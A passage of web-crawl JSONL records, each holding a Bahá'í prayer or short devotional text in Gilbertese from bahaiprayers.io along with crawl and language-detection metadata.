kariaia bwa Nna nakonako n te kawai ae ineti ma ni kakironako kaei aei, Ko kaota matau bwa Nna nora raneanean Ootam, Ko kainga taningau nakon tangiraoia mannikiban te katabuaki man te abanuea ni kamimi ao ni katika nanou n Am tangira ibuakoia aika etieti.\nO te Uea! Kamatoaai ma te Tamnei ae Raoiroi, n te aro bwa I aonga ni kona ni wewete n Aram ibuakoia aono nako ao n anga reirei ni kamaiu ibukin kaotiotan Am abanuea ibuakoia aomata nako.\nO te Uea! I bon mamara, kamarurungai ni Mwaakam ao Korakoram. Neweu e baebae, kariaiaai bwa Nna tataekini Kaururingam ma Neboneboam. I rinano, kakannangakai man karinakiu inanon Am abanuea. I raroanako, karikai bwa Nna waaki nako matan atibun mataroan Am nanoanga. O te Uea! Karaoai bwa te taura ae katekemata, te itoi ae raneanea, ao te aroka ae kakabwaiaki, ae unekenekeaki ma uaa, mwangana nako a kanuui mwakoro n aono nako n taabo aikai. Ni koaua, bon Ngkoe te Korakora te Mwaaka ao te Aki Kona ni Ineaki.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=100402070&to=gil","date":"2019-09-20T06:32:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573832.23\/warc\/CC-MAIN-20190920050858-20190920072858-00513.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":210,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI RAOU!\nTiringa tauran te kaairua, ao kauraa i nanomi te oi ae akea tokina ae bwain te kairiiri ni karawa ae tabu. Bwa n te tai ae e aki maan, i matan ae tabu are E tangiraki, taan babaairea te botannaomata a na bon akea te bwai ae a na kariaia ma ti kororaoin aroaro ao mwakuri aika a tabu aika akea baarekaia.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20403360&to=gil","date":"2019-09-22T04:49:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575076.30\/warc\/CC-MAIN-20190922032904-20190922054904-00371.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(E wawarekaki te Tabureti aio i Bangotaia Bahá'u'lláh ao te Báb. E kakabonganaki naba n Aia bong ni kauring.)\nKamoamoaam are e a tia ni ing ootana man Rabwatam ae moan te kakannangaki, ao te mimitong are e a tia n ootanako man Tamaroam ae raneanea, e na mena Iroum, O Ngkoe ae riki-ni bwain te Kakannato, ao Uean te Aki-Totoki, ao aia Uea kaain karawa ni kabane ao kaain te aonaaba ni kabane! I kaotia ma te koaua bwa Rinanom are a kaotaki iai rietaatan te Atua ma Ana tautaeka, ao inauean te Atua ma Ana tamaroa, ao Itoiningainan nako taai ake a bwakanako a tia ni kaotanakoi ootaia aika a raneanea ni karawan Am babaaire ae aki kona ni bibitaki, ao Tamaroan te Aki-nooraki e a tia n ootanako iaon oraitanin te karikibwai. I manga kaotia riki ma te koaua, bwa ni ingin Am Kainikoroboki n anga Am kaetieti are \"Riiki Ngkoe\" e a bon tia ni kamatoaaki, ao Ana karaba te Atua e a tia ni kaotaki, bwaai ni kabane a bane ni karikaki, ao n tia naba ni karuoaki Kaotioti nako ibukina.\nI kaotia naba, bwa rinanon Tamaroam e a bon tia n oti iai tamaroan Teuare e Tangiraki, ao ni Moam e a bon tia ootanako moan Teuare Maaten-te-nano, ao rinanon Ana taeka Wiim Ko a bon tia ni motiki taekan bwaai ni kabane aika a karikaki, ni karikiia akana a Tangiriko bwa a na rierake nakon taubukin te mimitong, ao ake a aki bwa a na bwaka nako nanon te kinono ae akea tokin kabina.\nI kaotia ma te koaua bwa ane e Kinako e boni kinaa te Atua, ao ane e roko Iroum ao e bon roko iroun te Atua. E korakora kakabwaiakin ane e Kakoauako, n Am kanikina nako, ao n tia ni kamangoria i matan Rietaatam, ao n tia n reke rinena ni kaaitibo ma Ngkoe, ao n tia naba ni karokoa ni kukurein Am kaantaninga, ma ni kakatobibia Rarikim, ao n tei i matan Am kaintokanuea. E na roko te tekebuaka nakon ane e a tia ni karitei Nakoim, ni kakeweko, n rawa n butimwai Am kanikina, ni kauntabaa Ueam, ao ni Kaaitarako, ni kaota te kainikatonga i Matam, ao ni kauntabai Am kaotioti nako, ao ni birinako man Am tua ao Am tautaeka, ao ni warekaki ibuakoia taan aki kakoauaa te Aro are a tia araia ni koreaki n tabonibain Am motikitaeka iaon Am Atinikoroboki aika a Tabu.\nUoti ma te aabebete nakoiu, Atuau ao Au Tangira, ikeiken Am nanoanga aika a tabu, n Angatain Am ataataiaomata, bwa a aonga ni kararoaai nako boni mairou ao man te aonaaba nakon oon Am tabo ike ko mena iai. Ko mwaaka ni karaoa are Ko bon taku Ni koaua, Ko a bon tia n rangi n rietaata iaon bwaai ni kabane.\nUringan te Atua ma Kamoamoaana, Mimitongina ma Tamaroana, a tiku i Aom, Ngkoe ae bon Tamaroana! I kaotia ma te koaua bwa matan te karikibwai e tuai man tataraa temanna ae e a tia ni karaoaki te aki eti nakoina n ai Arom. Ni kabane bongin Maium ko a bon tia ni iinako ibuakon marawan te karawawataaki. N te taina Ko bon kabaeaki n taian taurekereke; n te taina naba ao Ko taboraaki n aia kabaang Am kairiribai. N aki mutiakin baikai ni kabane, Ko bon waaki n tuangia aomata nako bwa a na karaoa are Ko a tia n tuangaki mairoun Teuare Ngaia Moaia Ataibwai, te Katoki ni Wanawana.\nE bia riki tamneiu bwa te karea nakon aki-eti ake Ko a tia kamarakaki ibukiia, ao oin aomatau bwa boon mwiin kaangaanga ake ko a tia n rinanoi. I bubuti nakon te Atua, Rinanom ao rinanoia ake a tia ni kaootaki moaia n tamaroan ootan Moam, ao te koraki naba ake a tia ni irii nanon taeka ake a tuangaki, ibukin Tangiram, bwa a na bane ni kamwaawaaki rabuna ni mata ake a mena i Marenam ma Am aomata, ao ni kareerekea nakoiu raoiroin te aonaaba aei ao are e na roko. Boni Ngkoe ni koaua, Moan te Mwaaka, te Katoki ni Kamoamoaaki, te Kabanea ni Mimitong te Kakabwara bure, te Karaunano.\nTe Uea ae Atuau, kakabwaiaa te Kai-te-Rote ni Karawa ma baana nako, bwebwena ma mwangana nako ao tirina ni kabane, bwa a na teimatoa ni irii teimatoan Anuam nako aika moan te Raraoi. Kamanoa man aia mwakuri ni ioawawa taani kakiriwe ma taani motibuaka. Ngkoe ni koaua, Moan te Mwaaka, te Kabanea ni Korakora. Te Uea ae Atuau, kakabwaiaia naba Am toro mwaane ao am tabonibai aine ake a tia ni karokoia Iroum. Boni Ngkoe ni koaua, te Ataataiaomata, ae akea tokin Ana tituaraoi. Akea riki te Atua bwa bon ti Ngkoe, Moan te Nanoanga, te Katoki n Tituaraoi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=10301030&to=gil","date":"2019-09-20T06:28:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573832.23\/warc\/CC-MAIN-20190920050858-20190920072858-00559.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":791,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau! Atuau! Nna kanga n rinea matuu ngkai a taratara mataia naake a mate ni kan Nooriko i bukin raureia ma Ngkoe ao Nna kanga ni wene ni motirawa ngkai a maraki n raraoma tamneia naake a Tangiriko i bukin Raroam mairouia?\nAu Uea, I anga tamneiu ma rabwatau nakon angatain Mwaakam ao Am kaawakin, ao I a kawenea atuu i aon uningau i nanon Korakoram, ao n tabekia n aron Nanom ma Kukureim. Boni Ngkoe ni koaua te Tia Kamaiu, te Tia Tararua, te Mwaaka, ao Moan te Korakora.\nNi Mwaakam, I aki bubutii i nanon matuu ke n taratarau bwaai nako ma ti ake Ko tangiri. Bon Am toro ngai i nanon Baim. Buokai n Am tangira ni karaoa te bwai are e na kataorababaa boiararan Kakukureiam. Aio ni koaua ae bon au kaantaninga ao aia kaantaninga naba naake a kukurei ni kaan ma Ngkoe. Ko na neboaki, Ngkoe te Uea n aonaaba.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=30201010&to=gil","date":"2019-09-20T08:42:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573908.70\/warc\/CC-MAIN-20190920071824-20190920093824-00206.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":39,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":155,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Uea ae akea Kabotauana! I bukin Te teei are e aki konabwai naba Ngkoe te Tia Kaawakinna, ao i bukin are e mamaara ae bubure aei bwa Ko na aakoi ao Ko na kabwaraa ana bure.\nTe Tia Karikibwai! E ngae ngke bon ngaiira uteute ae akea manera, ma bon bwain naba Am onaroka aika a uarereke, ae akea ueeia ma baaia; ngaia are kamwarakea te uteute aei ni karaun Am Tituaraoi; kaitiakia ao kamaiu aroka aikai n angin Am rikirake n tamnei.\nKautiira, kaootaiira, kaawakiniira, anganiira te maiu are akea tokina ao katauiira i nanon Am abanuea.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=70208040&to=gil","date":"2019-09-19T09:39:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573465.18\/warc\/CC-MAIN-20190919081032-20190919103032-00540.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":99,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkoe Te Atua ae te atataiaomata! Ngkoe are Ko korakora ma ni mwaaka! Ngkoe are te Tama ae moan te aakoi! Tooro aikai a tia n ikotaki n rairaki Nakoim, ni bubutii ma te mangori n atiibun Am mataroa, n tangira Am tituaraoi are akea tokina man Am karaunano ae kakannato. Akea aia oi ma ti kukurein Nanom. Akea nanoia bwa ti te beku i bukin ana aonaaba te botannaomata.\nTe Atua! An karaneanea te ikotaki aio. Kariki naano bwa a na atataiaomata. Katoamauiia n Ana tituaraoi te Tamnei ae Raoiroi. Kaburea taekan te mwaaka teuana mai karawa nakoia. Kakabwaiaia n iango ni karawa. Karikirakea kokoauaia bwa aonga iai ngaiia n rairaki nakon Abanueam ma te nanorinano ae bwanin ao te nano maraki ao tabeakinan te beku i bukin ana aonaaba ni botannaomata. A bia ngaiia n tatabemaniia nako n riki bwa taura nenea aika a oota nako. A bia ngaiia n tatabemaniia nako n riki bwa itoi aika a kateke mata. A bia ngaiia n tatabemaniia nako n riki bwa tamaroan matamataia ao kianakon boiarara i nanon Uean Te Atua.\nTe Tama ae Aakoi! Aanga Am karaoiroi nako. Tai mwannanoi ara aki rokoraoi. Kataniia i aan Am kamanomano. Tai uring ara bure. Katoki aorakira n Am atataiaomata. Ti bon ngore; Ko bon mwaaka. Bon akea arora; Ko bon kaubwai. Ti bon aoraki; boni Ngkoe te Tia Katoki aoraki. Ti bon tangira buokara; boni Ngkoe te kabanea n tituaraoi.\nTe Atua! Kanonoira n Am katoronibwai. Boni Ngkoe te Mwaaka. Boni Ngkoe te Tia Angaanga. Boni Ngkoe te Raoiroi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=50226020&to=gil","date":"2019-09-22T04:51:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575076.30\/warc\/CC-MAIN-20190922032904-20190922054904-00308.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":258,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boni Ngaia Te Atua! Ae Akea Kabotauana, n Rabakaum ae mwaaka Ko a tia ni kariaia te mare i aoia aomata, bwa man te roro teuana e na oti te roro teuana n te aonaaba ae bibitaki aei, ni karokoa, te maan are e na iai te aonaaba, bwa aonga ni katabeia ni Kaaniam ae ti Temanna, n aia mwakuri ao n aia nebo, ma Neboam i eta, Tangiram ao Kamoamoaam. \"I tuai ni kariki tamnei ao rabwata, ma a na riai n Taromauriai.\" Ma ngaia are iein ni karawan Ana Nanoanga mannikiba aika uoman aika man Ngaon Am tangira, ao karaoia bwa taan katotongaki nakon te raoiroi are akea tiana; bwa man botakiia naaka uoman aika marawan te tangira ao naon te tangira a na bwaro ni uoti momiin koauan te raoiroi nako aon biken te maiu. \"E a tia ni kabwarai marawa aika uoman aikai bwa a nang kaitibo: Mai iai te marena i marenaia are e aki konaa n riaoaki. Are bon Ana bwai n tangira te Uea, a na aki tabe iai? Are mai iai e na uoti moomi aika a kakaawaki ao aika a karako.\nTe Uea ae Aakoi! Karika te mare aei bwa e na kaotinakoi taian ane ao moomi mai iai. Boni Ngkoe te Mwaaka, te Moa ni Korakora, te Tia Kabwarai buure.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=30212020&to=gil","date":"2019-09-20T04:17:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573827.2\/warc\/CC-MAIN-20190920030357-20190920052357-00271.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":220,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI TAAN MAEKA N TE BWARETAITI!\nMa tabonibain te tangira n aakoi I unika kain ami tangira ma te itamwaomwao i nanon onarokan te bwaretaiti, ao n tebokii ma karaun te raoiroi man Au raoiroi ae tamaroa; ao ngkai e a roko auan taina ni uaa, mwakuriia bwa e na kamanoaki, ma n aki kamaunaaki ni uran te tinanikubeka ao te kaibwabwaru.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60403350&to=gil","date":"2019-09-19T01:09:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573385.29\/warc\/CC-MAIN-20190918234431-20190919020431-00118.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":63,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI KANOAN NAKO TE BUBUNTANO!\nTai rauaki ma kamaiuraoin te bong ae e waaki nako, tai kamwaawako man te motirawa ae akea tokina. Tai anga nako kakukurein te onaroka ae akea tokina i bukin bwariko ni bubuntanon te aonaaba n rabwata aei. Teirake man am karabuuti ao rierake nakon te tawaana ae e mimitong i eta, ao man nanan rabwatam karaoa kibam nakon bwaretaitin te tabo ae akea rabwatana.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=403390&to=gil","date":"2019-09-20T08:49:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573908.70\/warc\/CC-MAIN-20190920071824-20190920093824-00164.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":70,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau, Maamaten Nanou, Au Uea, Au Tangira! Te newe ra ae e kona n atong au karabwarabwa Nakoim? I bon aki mwemweeuti, Ko bon kautai. I a tia n rairaki nako mai Iroum, Ko kaota te tituaraoi ni buokai n rairaki Nakoim. I riki n ai aron temanna ae e mate, Ko bon kamaiuai ma te ran ni kamaiu. I bon rai, ko a manga kamaiuai ma te raanga n ran man karawan Am taetaenikawai are e a tia ni wawaanako man Ana Kainikoroboki te Kabanea n Nanoanga.\nO te Tia Kakaawakin n Tamnei! Karikibwai ni kabane a bon rereitinako man Am tituaraoi; tai kamwaawaa man ranin Am tituaraoi, ao tai taua mai irouia marawan Am nanoanga. I bubutiko bwa ko na raonai ao ni buokai n taai nako ao iaan itera nako, ao n ukoukora man karawan Am tituaraoi Am akoi are mangkoa. Bon Ngkoe, ni koaua, Uean te tituaraoi, ao te Tia Tautaeka n abanuean te aki tootoki.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=140213020&to=gil","date":"2019-09-19T16:20:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00030.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":160,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na rangi ni karietaataaki ngkoe ae Uean te karikibwai ni kabane, are boni Ngkoe are a na bane bwaai ni kabane n Okiriko. Ma neweu n nanoaa ao ma neweu n tinaniku I kakoauaa raoi bwa Ko a bon tia ni Kaotiotiko ao ni kaota raoi Rabwatam, ni karuoi Am kanikina nako, ma ni katanoatai Am koaua nako. I kakoaua nakon akea riki bwa ti Ngkoe ibukin taubobongan Arom, ao nakon naba Itiakim iaon bwain ni kabane te aonaaba. I Ononiko n rietaatan mimitongin Am Aro ao Mwaakaroiroin Am taeka bwa ko na anga te kamatoa nakon ane e kan anga te bwai are ko a tia ni kabwarabwara nakoina inanon Am boki ao ni ira nanon are e na kataotiraa boiararan Am butimwaai. Ni koaua, Ngkoe boni moan te Mwaaka, te moa n te Akoi, te moa n te Kakabwarabure. te katoki n Tituaraoi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=303010&to=gil","date":"2019-09-20T04:19:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573827.2\/warc\/CC-MAIN-20190920030357-20190920052357-00334.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":146,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TEUARE E TEI I BON BUKINA I NANON OIN ABANUEANA O!\nKo na ataia, bwa I a tia ni ikenna nakoim boiararan nako te katabuaki, I a tia ni kaoti raoi nakoim Au taeka ni kabane, I a tia ni katamaroai rinanom Au kakabwaia ao I a tia n rineia i bukim are I a tia n rineia i bon Bukiu. An rauaki n Nanou ao ni kaaitau Nakoiu.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180401710&to=gil","date":"2019-09-22T04:50:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575076.30\/warc\/CC-MAIN-20190922032904-20190922054904-00267.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":70,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TAMNEI O!\nBon akea te rau iroum ma ti ngkana ko kaakiko ao ko rairaki nakoiu; bwa e riai i bukim bwa ko na mimitong i nanon Arau, tiaki i nanon aram; ni kawenea am onimaki Irou ao tiaki i nanom, kioina ngke I tangiria bwa Nna tangiraki n ti Ngai ao I aon bwaai nako.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60401090&to=gil","date":"2019-09-19T09:40:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573465.18\/warc\/CC-MAIN-20190919081032-20190919103032-00555.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Au Uea, au Tangira, Maamaten nanou! Raonai i nanon maroaau ao irai ni kanakoakiu nako mai abau. Kanakoa nanokaawakiu. Karekeai bwa Nna katabua maiu ibukin Tamaroam. Kakerikaakai man bwaai nako ma ti Ngkoe. Kariiai n Am boiarara ae e tabu. Karikai bwa Nna irekenrao i nanon Ueam ma naake a mwaawa man bwaai nako ma a aki mwaawa Mai iroum, naake a ingainga ni bekua atiibun Am mataroa ae e tabu ao naake a tei ibukin te mwakuri i nanon Am Waaki. Karikai bwa temanna i buakoia Am tabonibai aika aine ake a tia n roota kakukurein Nanom. Bon Ngkoe ni koaua te Raoiroi te Tituaraoi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=140206080&to=gil","date":"2019-09-19T16:27:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00200.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":39,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":106,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tai kamwawaanako, O te Uea, te taibora ni kimwareirei are e a tia ni katauraoaki inanon Aram, ao tai tiringa te ai ae e ura are e a tia ni kauraaki man Am ai ae e aki maamate. Tai tuuka waanakon Am ran ni kamaiu ae e waawanako ma tangiraoin Mimitongim ao Ururingakim, ao tai kaakeai mai irouia Am toro taian boiarara man karewerewen Kukurein Nanom bwa a na ikeikena boiararan Am tangira.\nTe Uea! Onikii taian tatabeakin aika a karawaawata ake irouia Am aomata ake a tabu nakon te karauakaki, aia kanganga nakon te mwengaraoi, kamaemaeakiia nakon te mimitong, nanokawakiia nakon te kukurei ae moan te bati, O Ngkoe are Ko taua inanon Baim kaon te botanaomata ni kabane!\nNgkoe, ni Koaua, Bon Ngaia, n Ti Ngaia, te Mwaaka, te Kabanea n Atatai, te Kabanea ni Wanawana.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=30203170&to=gil","date":"2019-09-17T15:37:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573080.8\/warc\/CC-MAIN-20190917141045-20190917163045-00021.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":138,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te maroro ae inano e kona ni warekaki irouia ni katoa bong:\nO te Atua! O te Atua! Aio te mannikiba ae mwaoto baina ao kibana e rangi ni karaurau – buokia n te aro bwa e na kona ni kiba nakon taubukin te tabomoa ao te kamaiuaki, ni kibarakea kawaina ma te kabanea ni kimwareirei ao ni kukurei rinanon te mwaawa ae akea tiana, ni mwemwekaarakea tangiraoin Aram ae te Kabanea n Rietata inanon mwakoro n aono ni kabane aikai, ni kakimwareireii taninga ma te wewete aei, ao ni kakukurei maata man noorakin taian kanikina ibukin te kairiri.\nO te Uea! I bon toara, tii ngai ao man rinano. Irou bon akea te korakora ma tii Mairoum, akea te ibuobuoki ma tii Ngkoe ao akea te tia kaneneai Irarikim. Kateimatoaai n au beku Ibukim, buokai ma te taanga n anera ake Mairoum, ao karaoai n tokanikai ni kakatanoataan Am Taeka ao kariaiaai bwa Nna taetae iaon Niniwanam ibuakoia Am karikibwai nako. Ni koaua, bon Ngkoe te tia ibuobuoki nakoia aika mamara ao te tia kamanoia aika merimeri, ao ni koaua bon Ngkoe te Mwaaka, te Korakora ao te Aki Kona ni Ineaki.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60220150&to=gil","date":"2019-09-19T16:26:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00113.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":192,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau, I kaotia ma te koaua bwa Ko a tia ni karikai bwa Nna Ataiko, ao n Taromauriiko. Ao I kaotia n te tai aei bwa bon Moan te Mwaaka Ngkoe ao ngai bon moan te mangori. Moan te Korakora Ngkoe ao ngai bon moan te kainnano. Bon akea riki Te Atua temanna bwa ti Ngkoe, te Buoka n te kangaanga, ao te Maiu i bon Irouna.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=80101020&to=gil","date":"2019-09-20T06:34:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573832.23\/warc\/CC-MAIN-20190920050858-20190920072858-00211.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":44,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":67,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko ataia ni koaua, Ngkoe Atuau, bwa a bon tia ni bwakarai taian kangaanga man itera nako, ao bon akea ae e kona ni kamaunai ke ni bitii ma bon ti Ngkoe. I ataia ni koaua, bwa ni koauan Tangiram irou, bwa Ko aki kona ni karika te kangaanga bwa e na bwakara te tamnei temanna ma ti ngkana Ko tangiria ni karietaata nnena inanon Am Baretaiti are i eta ma ni kanonoa nanona inanon te maiu i aon te aba aio n nonon Mwaakam ae rotii bwai nako, bwa e na aki katan nakon bwain te aonaaba aei ae akea nanoia. Ko bon ataia ni koaua i aan aroaro nako bwa I nabea riki Ururingam nakon bwainakin ni kabane ake n taian karawa ao i aon te aba.\nKamatoa nanou, Ngkoe Atuau, n Am boraraoi ao n Am tangira, ao kariaia bwa I aonga ni mwaawa ni botakiia ni kabane ake a Kaitarako. Ni koaua, I kaotia ni Mimitongim bwa akea ae I tangiria i Rarikim, ke iai riki te bwai ae I kainnanoia ma ti Am nanoanga, ke n ingainga nakon te bwai teuana ma ti Am motiraoi. I a Butiiko bwa Ko na kabwarai au bure, ao aia bure naba naake Ko tangiria, n aron are Ko nano iai. Ni koaua, boni Ngkoe Moan te Mwaaka, te Atataiaomata.\nKo bon rangi ni karietataaki riki Ngkoe, ae Uea ni karawa ma aon te aba, i aon aia nebonebo aomata nako, ao e na mena te raoi i aoia nako Am toro aika a kakaonimaki ao Ko kamimitongaki Ngkoe Te Atua, ae Uean aonaaba ni 